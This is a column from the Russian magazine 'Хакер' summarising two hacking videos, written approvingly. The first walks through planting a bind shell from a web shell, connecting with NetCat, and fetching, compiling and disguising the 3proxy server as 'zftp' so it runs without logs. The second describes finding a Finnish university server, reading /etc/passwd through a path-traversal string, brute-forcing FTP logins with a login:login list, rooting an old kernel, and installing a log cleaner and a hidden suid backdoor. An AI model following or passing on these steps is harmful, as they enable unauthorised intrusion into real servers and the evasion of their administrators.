Диско

H1nt (hint@gameland.ru)

Хакер, номер #070, стр. 070-152-1

Видео: Ставим носки

Ходят слухи, что сотрудники спецслужб специально устанавливают свои прокси-серверы, которые полностью логируют весь проходящий через них трафик. Если какой-нибудь хакер воспользуется такой проксей, то считай, что он под колпаком у правоохранительных органов. Поэтому чтобы быть уверенным в том, что никто не контролирует прокси-сервер, взломщики устанавливают на похаканных тачках свои соксы и юзают их в своих грязных целях ;). В этом visualhack’e хакер устанавливает сокс-сервер и конфигурирует его так, чтобы он работал и при этом не вел никаких логов. Сам понимаешь, если log-файлы на проксе не сохраняются, узнать, кто пользовался сервером, станет крайне трудно.

Вот что конкретно делает хакер: сначала он берет веб-шелл из своей заначки, находит на сервере каталог, открытый на запись для всех юзеров, заливает туда перловый скрипт, биндящий шелл на 32767 порту, после чего запускает его. Далее он использует утилиту NetCat, для того чтобы соединиться с сервером. Итак, хакер внутри, пора начинать установку прокси-сервера 3proxy. В этом ролике она сводится к четырем шагам. Для начала исполняется команда cd /tmp; wget http://security.nnov.ru/soft/3proxy/0.4.5b/3proxy.tgz, в результате чего сорцы 3proxy сливаются в папку /tmp. После этого пожатые исходники расTARиваются в текущую папку командой tar xvzf 3proxy.tgz. Далее взломщик приступает к компиляции софтины. Для этого он набирает команду make –f Makefile.unix, в результате выполнения которой сорцы собираются в один исполняемый файл 3proxy.

Потом он дает файлу 3proxy менее приметное имя zftp, чтобы лопоухий админ не заметил ничего подозрительного в списке процессов. Собственно, после всех этих нехитрых действий он запускает сам откомпилированный бинарник.

Подробный ход событий ты можешь изучить в статье «Ставим носки», а для более понятной картины можешь ознакомиться с интересным видеороликом.

Видео: Мозговой штурм Финляндии

Так случилось, что одному хакеру понадобился финский ресурс, для того чтобы установить на нем анонимный прокси-сервер. Взломщик зашел на google.com и дал точный запрос с помощью некоторых поисковых конструкций. В ответ злоумышленник получил несколько сотен ссылок, которые и стал изучать. Его внимание привлек небольшой университетский проект (как выяснилось позже, написанный на Питоне). Скрипт публиковал исходники определенных СИшных файлов. Стоило хакеру переопределить путь к СИшнику в виде ../../../../../../etc/passwd, как браузер показал содержимое системного файла. К сожалению, взломщик не мог добиться выполнения команд через дырявый скрипт, но это было и не нужно. С помощью самопального сценария злоумышленник отделил валидные аккаунты от мусора, а также составил комболист в виде login:login. Теперь ничто не мешало скормить лист брутусу и ждать результата. Брутфорс был запущен на 21 порту.

Спустя несколько секунд Brutus объявил о том, что нашелся один ламер, установивший легкий пароль. Хакер приконнектился на 22 порт и получил доступ к интерпретатору /bin/bash. Поднять права было несложно - в системе установлено старое ядрышко. Вместе с эксплойтом взломщик закачал логклинер, а затем набросал легкий бэкдор. Теперь нужно было замаскировать файлы и установить суид на бэкдор.